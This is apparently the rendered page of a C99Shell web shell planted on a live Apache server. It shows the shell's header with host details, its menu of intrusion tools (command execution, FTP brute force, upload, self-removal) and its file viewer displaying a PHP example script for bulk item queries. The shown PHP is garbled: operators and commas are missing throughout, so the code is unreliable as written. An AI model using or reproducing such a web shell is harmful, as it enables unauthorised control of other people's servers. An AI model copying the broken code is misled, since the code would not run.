!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/OTapi/otapiphpclient-master/examples/   drwxr-xr-x
Free 12.91 GB of 57.97 GB (22.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     getBulkItems.php (1.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Conf;
use 
JsonMachine\JsonMachine;
use 
OtApiClient\OtClientBulk;

include_once 
__DIR__ "/ini.php";
try {
    
$client    = new OtClientBulk(Conf::getConfigValue('OT_Key'''), Conf::getConfigValue('OT_Secret'''), Conf::getConfigValue('OT_Lang'''));
    
$items     = [
        
'639654286622',
        
'626524171724',
        
'540755121912',
        
'588319323537',
        
'601286347796',
        
'585878065471',
        
'636677152993',
        
'627632096613',
        
'41757935984',
        
'627058476319',
        
'564896878138',
        
'630216934986',
        
'523393298387',
    ];
    
$runData $client->runBulkItems($items);
    
$runDataDecoded json_decode($runDataTRUE512JSON_THROW_ON_ERROR);
    
$activityId $runDataDecoded['Result']['activityId'];
    
$finished FALSE;
    
$itemsData NULL;
    while (
$finished === FALSE){
        
$itemsData $client->getBulkItemsResult($activityId);
        
// not decode, to prevent memory overuse
        
if ($itemsData === NULL || !str_contains($itemsData'Result":{"IsFinished":false')) {
            
$finished TRUE;
        }
    }
    if (
$itemsData !== NULL){
        
// for potential big data we use JsonMachine library
        
$items JsonMachine::fromString($itemsData'/Result/Items');
        print 
'<pre>';
        foreach (
$items as $item) {
            
print_r($item);
        }
    }

} catch (
Exception $e) {
    print 
$e->getMessage();
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--